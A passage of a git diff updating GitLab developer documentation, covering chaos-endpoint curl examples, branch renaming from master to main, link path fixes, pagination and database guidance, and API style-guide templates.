predetermined period (normally 60 seconds). -If you're using Unicorn, this is done by killing the worker process. ```plaintext GET /-/chaos/db_spin @@ -118,7 +118,8 @@ GET /-/chaos/db_spin?duration_s=50&async=true | `async` | boolean | no | Set to true to perform the operation in a Sidekiq background worker process | ```shell -curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" \ + --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret" ``` @@ -140,7 +141,8 @@ GET /-/chaos/sleep?duration_s=50&async=true | `async` | boolean | no | Set to true to sleep in a Sidekiq background worker process | ```shell -curl "http://localhost:3000/-/chaos/sleep?duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/sleep?duration_s=60" \ + --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret" ``` @@ -200,7 +202,8 @@ POST /-/chaos/gc Example request: ```shell -curl --request POST "http://localhost:3000/-/chaos/gc" --header 'X-Chaos-Secret: secret' +curl --request POST "http://localhost:3000/-/chaos/gc" \ + --header 'X-Chaos-Secret: secret' curl --request POST "http://localhost:3000/-/chaos/gc?token=secret" ``` diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md index a05916178a9..14a313daba8 100644 --- a/doc/development/cicd/cicd_reference_documentation_guide.md +++ b/doc/development/cicd/cicd_reference_documentation_guide.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 965ab3610dd..025d63f4a62 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- @@ -67,7 +67,7 @@ The communication between runners and the Rails server occurs through a set of A the `Runner API Gateway`. We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected, -it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb) +it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/register_job_service.rb) which picks the next job and assigns it to the runner. At this point the job transitions to a `running` state, which again triggers `ProcessPipelineService` due to the status change. For more details read [Job scheduling](#job-scheduling)). @@ -103,7 +103,7 @@ A job with the `created` state isn't seen by the runner yet. To make it possible When the runner is connected, it requests the next `pending` job to run by polling the server continuously. NOTE: -API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb) +API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/ci/runner.rb) After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner. @@ -121,7 +121,7 @@ Once the runner is [registered](https://docs.gitlab.com/runner/register/) using The runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change. -This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb), which: +This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/register_job_service.rb), which: 1. Picks the next job to run from the pool of `pending` jobs 1. Assigns it to the runner @@ -185,17 +185,3 @@ Watch a walkthrough of this feature in details in the video below. <figure class="video-container"> <iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe> </figure> - -## External pipeline validation service - -The [external CI/CD pipeline validation service](../../administration/external_pipeline_validation.md) -is available for use on self-managed GitLab instances, but is not in use on GitLab.com. -It is configured with [environment variables](../../administration/environment_variables.md) -on the instance. - -To enable the feature on GitLab.com, enable the `ci_external_validation_service` -[feature flag](../feature_flags/index.md). The valid "Not accepted" response code -for GitLab.com is `406` only. - -For more details, see the linked issues and MRs in the -[feature flag rollout issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325982). diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index fc342794919..8331985697e 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -307,6 +307,26 @@ include: - remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.0.1-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml ``` +### Use a feature flag to roll out a `latest` template + +With a major version release like 13.0 or 14.0, [stable templates](#stable-version) must be +updated with their corresponding [latest template versions](#latest-version). +It may be hard to gauge the impact of this change, so use the `redirect_to_latest_template_<name>` +feature flag to test the impact on a subset of users. Using a feature flag can help +reduce the risk of reverts or rollbacks on production. + +For example, to redirect the stable `Jobs/Deploy` template to its latest template in 25% of +projects on `gitlab.com`: + +```shell +/chatops run feature set redirect_to_latest_template_jobs_deploy 25 --actors +``` + +After you're confident the latest template can be moved to stable: + +1. Update the stable template with the content of the latest version. +1. Remove the corresponding feature flag. + ### Further reading There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about diff --git a/doc/development/code_review.md b/doc/development/code_review.md index b91e27b7051..df09b27c6b4 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -418,13 +418,13 @@ WARNING: - Start a new merge request pipeline with the `Run pipeline` button in the merge request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS). Note that: - - If **[master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master), + - If **[main is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master), do not merge the merge request** except for [very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master). For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master). - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you might merge without starting a new pipeline as the merge request is close - enough to `master`. + enough to `main`. - When you set the MR to "Merge When Pipeline Succeeds", you should take over subsequent revisions for anything that would be spotted after that. - For merge requests that have had [Squash and @@ -434,11 +434,11 @@ WARNING: Thanks to **Pipeline for Merged Results**, authors no longer have to rebase their branch as frequently anymore (only when there are conflicts) because the Merge -Results Pipeline already incorporate the latest changes from `master`. +Results Pipeline already incorporate the latest changes from `main`. This results in faster review/merge cycles because maintainers don't have to ask for a final rebase: instead, they only have to start a MR pipeline and set MWPS. This step brings us very close to the actual Merge Trains feature by testing the -Merge Results against the latest `master` at the time of the pipeline creation. +Merge Results against the latest `main` at the time of the pipeline creation. ### Community contributions diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index 26a32464041..2fe08f78aed 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -27,7 +27,7 @@ To get an overview of GitLab community membership, including those that would re your contributions, visit [the community roles page](community_roles.md). If you want to know how the GitLab [core team](https://about.gitlab.com/community/core-team/) -operates, see [the GitLab contributing process](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md). +operates, see [the GitLab contributing process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md). GitLab Inc engineers should refer to the [engineering workflow document](https://about.gitlab.com/handbook/engineering/workflow/). diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index dfabeca34ce..840434ebbc3 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -14,7 +14,7 @@ submitting your own, there's a good chance somebody else had the same issue or feature proposal. Show your support with an award emoji and/or join the discussion. -Please submit bugs using the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/issue_templates/Bug.md) provided on the issue tracker. +Please submit bugs using the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Bug.md) provided on the issue tracker. The text in the parenthesis is there to help you with what to include. Omit it when submitting the actual issue. You can copy-paste it and then edit as you see fit. @@ -311,12 +311,12 @@ We automatically add the ~"Accepting merge requests" label to issues that match the [triage policy](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#accepting-merge-requests). We recommend people that have never contributed to any open source project to -look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it. +look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it. More experienced contributors are very welcome to tackle [any of them](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None). For more complex features that have a weight of 2 or more and clear scope, we recommend looking at issues -with the [label `~"Community Challenge"`](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=Community%20challenge). +with the [label `~"Community Challenge"`](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=Community%20challenge). If your MR for the `~"Community Challenge"` issue gets merged, you will also have a chance to win a custom GitLab merchandise. @@ -325,7 +325,7 @@ the [appropriate product manager](https://about.gitlab.com/handbook/product/#who as soon as possible. The product manager will then pull in appropriate GitLab team members to further discuss scope, design, and technical considerations. This will ensure that your contribution is aligned with the GitLab product and minimize -any rework and delay in getting it merged into master. +any rework and delay in getting it merged into main. GitLab team members who apply the ~"Accepting merge requests" label to an issue should update the issue description with a responsible product manager, inviting @@ -358,7 +358,7 @@ code snippet right after your description in a new line: `~feature`. Please keep feature proposals as small and simple as possible, complex ones might be edited to make them small and simple. -Please submit Feature Proposals using the ['Feature Proposal' issue template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/issue_templates/Feature%20proposal%20-%20detailed.md) provided on the issue tracker. +Please submit Feature Proposals using the ['Feature Proposal' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal%20-%20detailed.md) provided on the issue tracker. For changes in the interface, it is helpful to include a mockup. Issues that add to, or change, the interface should be given the ~"UX" label. This will allow the UX team to provide input and guidance. You may diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index 922bc52773b..783cf7af6fc 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -44,9 +44,9 @@ request is as follows: 1. [Fork](../../user/project/repository/forking_workflow.md) the project into your personal namespace (or group) on GitLab.com. -1. Create a feature branch in your fork (don't work off `master`). +1. Create a feature branch in your fork (don't work off your [default branch](../../user/project/repository/branches/default.md)). 1. Write [tests](../rake_tasks.md#run-tests) and code. -1. [Generate a changelog entry with `bin/changelog`](../changelog.md) +1. [Ensure a changelog is created](../changelog.md). 1. If you are writing documentation, make sure to follow the [documentation guidelines](../documentation/index.md). 1. Follow the [commit messages guidelines](#commit-messages-guidelines). @@ -54,7 +54,7 @@ request is as follows: commits by [squashing them](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History#_squashing), but do not change the commit history if you're working on shared branches though. 1. Push the commit(s) to your working branch in your fork. -1. Submit a merge request (MR) to the `master` branch in the main GitLab project. +1. Submit a merge request (MR) to the `main` branch in the main GitLab project. 1. Your merge request needs at least 1 approval, but depending on your changes you might need additional approvals. Refer to the [Approval guidelines](../code_review.md#approval-guidelines). 1. You don't have to select any specific approvers, but you can if you really want @@ -140,7 +140,7 @@ Commit messages should follow the guidelines below, for reasons explained by Chr **Important notes:** -- If the guidelines are not met, the MR may not pass the [Danger checks](https://gitlab.com/gitlab-org/gitlab/blob/master/danger/commit_messages/Dangerfile). +- If the guidelines are not met, the MR may not pass the [Danger checks](https://gitlab.com/gitlab-org/gitlab/-/blob/master/danger/commit_messages/Dangerfile). - Consider enabling [Squash and merge](../../user/project/merge_requests/squash_and_merge.md#squash-and-merge) if your merge request includes "Applied suggestion to X files" commits, so that Danger can ignore those. - The prefixes in the form of `[prefix]` and `prefix:` are allowed (they can be all lowercase, as long @@ -196,12 +196,12 @@ the contribution acceptance criteria below: exposing a bug in existing code). Every new class should have corresponding unit tests, even if the class is exercised at a higher level, such as a feature test. - If a failing CI build seems to be unrelated to your contribution, you can try - restarting the failing CI job, rebasing from `master` to bring in updates that + restarting the failing CI job, rebasing from `main` to bring in updates that may resolve the failure, or if it has not been fixed yet, ask a developer to help you fix the test. 1. The MR initially contains a few logically organized commits. 1. The changes can merge without problems. If not, you should rebase if you're the - only one working on your feature branch, otherwise merge `master`. + only one working on your feature branch, otherwise merge `main`. 1. Only one specific issue is fixed or one specific feature is implemented. Do not combine things; send separate merge requests for each issue or feature. 1. Migrations should do only one thing (e.g., create a table, move data to a new @@ -263,7 +263,7 @@ request: 1. [The upgrade guide](../../update/upgrading_from_source.md). 1. The [GitLab Installation Guide](../../install/installation.md#1-packages-and-dependencies). 1. The [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit). -1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/prepare_build.sh). +1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/prepare_build.sh). 1. The [Omnibus package creator](https://gitlab.com/gitlab-org/omnibus-gitlab). 1. The [Cloud Native GitLab Dockerfiles](https://gitlab.com/gitlab-org/build/CNG) diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index 7fb1e11b303..68268027b73 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -45,7 +45,7 @@ bin/rake danger_local ## Operation -On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Dangerfile) +On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/Dangerfile) from the project root. Danger code in GitLab is decomposed into a set of helpers and plugins, all within the [`danger/`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/danger/) subdirectory, so ours just tells Danger to load it all. Danger then runs diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md index aa3915cd4b6..3308ebfcaae 100644 --- a/doc/development/database/pagination_guidelines.md +++ b/doc/development/database/pagination_guidelines.md @@ -41,7 +41,7 @@ With pagination, the data is split into equal pieces (pages). On the first visit ### Pick the right approach -Let the database handle the pagination, filtering, and data retrieval. Implementing in-memory pagination on the backend (`paginate_array` from kaminari) or on the frontend (JavaScript) might work for a few hundreds of records. If application limits are not defined, things can get out of control quickly. +Let the database handle the pagination, filtering, and data retrieval. Implementing in-memory pagination on the backend (`paginate_array` from Kaminari) or on the frontend (JavaScript) might work for a few hundreds of records. If application limits are not defined, things can get out of control quickly. ### Reduce complexity @@ -78,7 +78,7 @@ Infinite scroll can use keyset pagination without affecting the user experience ### Offset pagination -The most common way to paginate lists is using offset-based pagination (UI and REST API). It's backed by the popular [kaminari](https://github.com/kaminari/kaminari) Ruby gem, which provides convenient helper methods to implement pagination on ActiveRecord queries. +The most common way to paginate lists is using offset-based pagination (UI and REST API). It's backed by the popular [Kaminari](https://github.com/kaminari/kaminari) Ruby gem, which provides convenient helper methods to implement pagination on ActiveRecord queries. Offset-based pagination is leveraging the `LIMIT` and `OFFSET` SQL clauses to take out a specific slice from the table. @@ -97,9 +97,9 @@ Notice that the query also orders the rows by the primary key (`id`). When pagin Example pagination bar: - + -The kaminari gem renders a nice pagination bar on the UI with page numbers and optionally quick shortcuts the next, previous, first, and last page buttons. To render these buttons, kaminari needs to know the number of rows, and for that, a count query is executed. +The Kaminari gem renders a nice pagination bar on the UI with page numbers and optionally quick shortcuts the next, previous, first, and last page buttons. To render these buttons, Kaminari needs to know the number of rows, and for that, a count query is executed. ```sql SELECT COUNT(*) FROM issues WHERE project_id = 1 @@ -158,7 +158,7 @@ Here we're leveraging the ordered property of the b-tree database index. Values Kaminari by default executes a count query to determine the number of pages for rendering the page links. Count queries can be quite expensive for a large table, in an unfortunate scenario the queries will simply time out. -To work around this, we can run kaminari without invoking the count SQL query. +To work around this, we can run Kaminari without invoking the count SQL query. ```ruby Issue.where(project_id: 1).page(1).per(20).without_count @@ -311,5 +311,5 @@ Using keyset pagination outside of GraphQL is not straightforward. We have the l Keyset pagination provides stable performance regardless of the number of pages we moved forward. To achieve this performance, the paginated query needs an index that covers all the columns in the `ORDER BY` clause, similarly to the offset pagination. ### General performance guidelines - + See the [pagination general performance guidelines page](pagination_performance_guidelines.md). diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md index 6fbb95c4f60..688d811b897 100644 --- a/doc/development/database/strings_and_the_text_data_type.md +++ b/doc/development/database/strings_and_the_text_data_type.md @@ -34,11 +34,9 @@ but only for updating the declaration of the columns. We can then validate it at `VALIDATE CONSTRAINT`, which requires only a `SHARE UPDATE EXCLUSIVE LOCK` (only conflicts with other validations and index creation while it allows reads and writes). -### Exceptions - -Text columns used by `attr_encrypted` are not required to have a limit, because the length of the -text after encryption may be longer than the text itself. Instead, you can use an Active Record -length validation on the attribute. +NOTE: +Don't use text columns for `attr_encrypted` attributes. Use a +[`:binary` column](../migration_style_guide.md#encrypted-attributes) instead. ## Create a new table with text columns diff --git a/doc/development/db_dump.md b/doc/development/db_dump.md index 505305c860a..0c63bf06e07 100644 --- a/doc/development/db_dump.md +++ b/doc/development/db_dump.md @@ -21,7 +21,7 @@ large database imports. echo "postgresql['checkpoint_segments'] = 64" | sudo tee -a /etc/gitlab/gitlab.rb sudo touch /etc/gitlab/skip-auto-reconfigure sudo gitlab-ctl reconfigure -sudo gitlab-ctl stop unicorn +sudo gitlab-ctl stop puma sudo gitlab-ctl stop sidekiq ``` diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index 2d092b24d65..07a29b17ddc 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -24,8 +24,13 @@ deprecated. A feature can be deprecated at any time, provided there is a viable alternative. +Deprecations should be announced via [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations). + ## When can a feature be removed/changed? +Generally, feature or configuration can be removed/changed only on major release. +It also should be [deprecated in advance](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations). + For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/README.md#compatibility-guidelines) guidelines. For configuration removals, see the [Omnibus deprecation policy](https://docs.gitlab.com/omnibus/package-information/deprecation_policy.html). diff --git a/doc/development/diffs.md b/doc/development/diffs.md index 52ba89a4d6e..aaa3340af33 100644 --- a/doc/development/diffs.md +++ b/doc/development/diffs.md @@ -156,13 +156,13 @@ Historically, merge request diffs have been calculated by `git diff target...sou `HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's. This solution works well until the target branch starts containing some of the changes introduced by the source branch: Consider the following case, in which the source branch -is `feature_a` and the target is `master`: +is `feature_a` and the target is `main`: -1. Checkout a new branch `feature_a` from `master` and remove `file_a` and `file_b` in it. -1. Add a commit that removes `file_a` to `master`. +1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it. +1. Add a commit that removes `file_a` to `main`. The merge request diff still contains the `file_a` removal while the actual diff compared to -`master`'s `HEAD` has only the `file_b` removal. The diff with such redundant +`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant changes is harder to review. In order to display an up-to-date diff, in GitLab 12.9 we @@ -174,16 +174,16 @@ diff. Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854) and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893), -both options `master (base)` and `master (HEAD)` are available to be displayed in merge requests: +both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests:  -The `master (HEAD)` option is meant to replace `master (base)` in the future. +The `main (HEAD)` option is meant to replace `main (base)` in the future. In order to support comments for both options, diff note positions are stored for -both `master (base)` and `master (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10). -The position for `master (base)` version is stored in `Note#position` and -`Note#original_position` columns, for `master (HEAD)` version `DiffNotePosition` +both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10). +The position for `main (base)` version is stored in `Note#position` and +`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition` has been introduced. One of the key challenges to deal with when working on merge ref diffs are merge diff --git a/doc/development/documentation/graphql_styleguide.md b/doc/development/documentation/graphql_styleguide.md index d658794f7e0..5acc8bda6a6 100644 --- a/doc/development/documentation/graphql_styleguide.md +++ b/doc/development/documentation/graphql_styleguide.md @@ -78,7 +78,7 @@ You should include a link for your new document in the global navigation (the li left side of the documentation website). To do so, open a second MR, against the [GitLab documentation repository](https://gitlab.com/gitlab-org/gitlab-docs/). -We store our global navigation in the [`default-nav.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/default-nav.yaml) file, in the +We store our global navigation in the [`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/content/_data/navigation.yaml) file, in the `content/_data` subdirectory. You can find the GraphQL section under the following line: diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 05aa003d89e..12a1912dd25 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -27,8 +27,8 @@ The source of the documentation exists within the codebase of each GitLab applic | Project | Path | | --- | --- | -| [GitLab](https://gitlab.com/gitlab-org/gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/gitlab/tree/master/doc) | -| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/) | [`/docs`](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs) | +| [GitLab](https://gitlab.com/gitlab-org/gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc) | +| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/) | [`/docs`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/docs) | | [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/) | [`/doc`](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc) | | [Charts](https://gitlab.com/gitlab-org/charts/gitlab) | [`/doc`](https://gitlab.com/gitlab-org/charts/gitlab/tree/master/doc) | @@ -156,7 +156,7 @@ Nanoc layout), which is displayed at the top of the page if defined: - `reading_time`: If you want to add an indication of the approximate reading time of a page, you can set `reading_time` to `true`. This uses a simple - [algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/lib/helpers/reading_time.rb) + [algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/lib/helpers/reading_time.rb) to calculate the reading time based on the number of words. ## Move or rename a page @@ -177,8 +177,8 @@ There are two types of redirects: - [GitLab Pages redirects](../../user/project/pages/redirects.md), for users who view the docs on [`docs.gitlab.com`](https://docs.gitlab.com). -The Technical Writing team manages the [process](https://gitlab.com/gitlab-org/technical-writing/-/blob/master/.gitlab/issue_templates/tw-monthly-tasks.md) -to regularly update the [`redirects.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/redirects.yaml) +The Technical Writing team manages the [process](https://gitlab.com/gitlab-org/technical-writing/-/blob/main/.gitlab/issue_templates/tw-monthly-tasks.md) +to regularly update the [`redirects.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/content/_data/redirects.yaml) file. To add a redirect: @@ -229,6 +229,7 @@ To add a redirect: ```markdown --- redirect_to: '../newpath/to/file/index.md' + remove_date: 'YYYY-MM-DD' --- This document was moved to [another location](../path/to/file/index.md). @@ -295,7 +296,7 @@ Before getting started, make sure you read the introductory section "[contributing to docs](#contributing-to-docs)" above and the [documentation workflow](workflow.md). -- Use the current [merge request description template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/merge_request_templates/Documentation.md) +- Use the current [merge request description template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Documentation.md) - Label the MR `Documentation` (can only be done by people with `developer` access, for example, GitLab team members) - Assign the correct milestone per note below (can only be done by people with `developer` access, for example, GitLab team members) @@ -316,7 +317,8 @@ it increases the work of the release managers. Every GitLab instance includes the documentation, which is available at `/help` (`https://gitlab.example.com/help`). For example, <https://gitlab.com/help>. -The documentation available online on <https://docs.gitlab.com> is deployed every four hours from the `master` branch of GitLab, Omnibus, and Runner. Therefore, +The documentation available online on <https://docs.gitlab.com> is deployed every +four hours from the `main` branch of GitLab, Omnibus, and Runner. Therefore, after a merge request gets merged, it is available online on the same day. However, it's shipped (and available on `/help`) within the milestone assigned to the MR. @@ -392,7 +394,7 @@ This is preferred over static paths, as the helper also works on instances insta ### GitLab `/help` tests -Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/features/help_pages_spec.rb) +Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/features/help_pages_spec.rb) are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`. For example, [GitLab.com's `/help`](https://gitlab.com/help). @@ -411,7 +413,7 @@ on how the left-side navigation menu is built and updated. NOTE: To preview your changes to documentation locally, follow this -[development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/gitlab_docs.md). +[development guide](https://gitlab.com/gitlab-org/gitlab-docs/blob/main/README.md#development-when-contributing-to-gitlab-documentation) or [these instructions for GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/gitlab_docs.md). The live preview is currently enabled for the following projects: @@ -458,9 +460,9 @@ In case the review app URL returns 404, follow these steps to debug: If you want to know the in-depth details, here's what's really happening: 1. You manually run the `review-docs-deploy` job in a merge request. -1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/trigger-build) +1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/trigger-build) script with the `docs deploy` flag, which triggers the "Triggered from `gitlab-org/gitlab` 'review-docs-deploy' job" - pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `master`). + pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `main`). 1. The preview URL is shown both at the job output and in the merge request widget. You also get the link to the remote pipeline. 1. In the `gitlab-org/gitlab-docs` project, the pipeline is created and it @@ -477,7 +479,7 @@ The following GitLab features are used among others: - [Multi project pipelines](../../ci/multi_project_pipelines.md) - [Review Apps](../../ci/review_apps/index.md) - [Artifacts](../../ci/yaml/README.md#artifacts) -- [Specific runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) +- [Specific runner](../../ci/runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - [Pipelines for merge requests](../../ci/merge_request_pipelines/index.md) ## Testing @@ -491,7 +493,7 @@ GitLab uses [Danger](https://github.com/danger/danger) for some elements in code review. For docs changes in merge requests, whenever a change to files under `/doc` is made, Danger Bot leaves a comment with further instructions about the documentation process. This is configured in the `Dangerfile` in the GitLab repository under -[/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/tree/master/danger/documentation). +[/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/-/tree/master/danger/documentation). ## Automatic screenshot generator diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md index e05f6760ff1..b3d3e2641b7 100644 --- a/doc/development/documentation/restful_api_styleguide.md +++ b/doc/development/documentation/restful_api_styleguide.md @@ -33,7 +33,8 @@ In the Markdown doc for a resource (AKA endpoint): ## API topic template -The following can be used as a template to get started: +Use the following template to help you get started. Be sure to list any +required attributes first in the table. ````markdown ## Descriptive title @@ -50,8 +51,10 @@ Supported attributes: | Attribute | Type | Required | Description | |:------------|:---------|:---------|:----------------------| -| `attribute` | datatype | yes/no | Detailed description. | -| `attribute` | datatype | yes/no | Detailed description. | +| `attribute` | datatype | **{check-circle}** Yes | Detailed description. | +| `attribute` | datatype | **{dotted-circle}** No | Detailed description. | +| `attribute` | datatype | **{dotted-circle}** No | Detailed description. | +| `attribute` | datatype | **{dotted-circle}** No | Detailed description. | Example request: @@ -147,7 +150,8 @@ This example creates a new group. Be aware of the use of single (`'`) and double (`"`) quotes. ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' 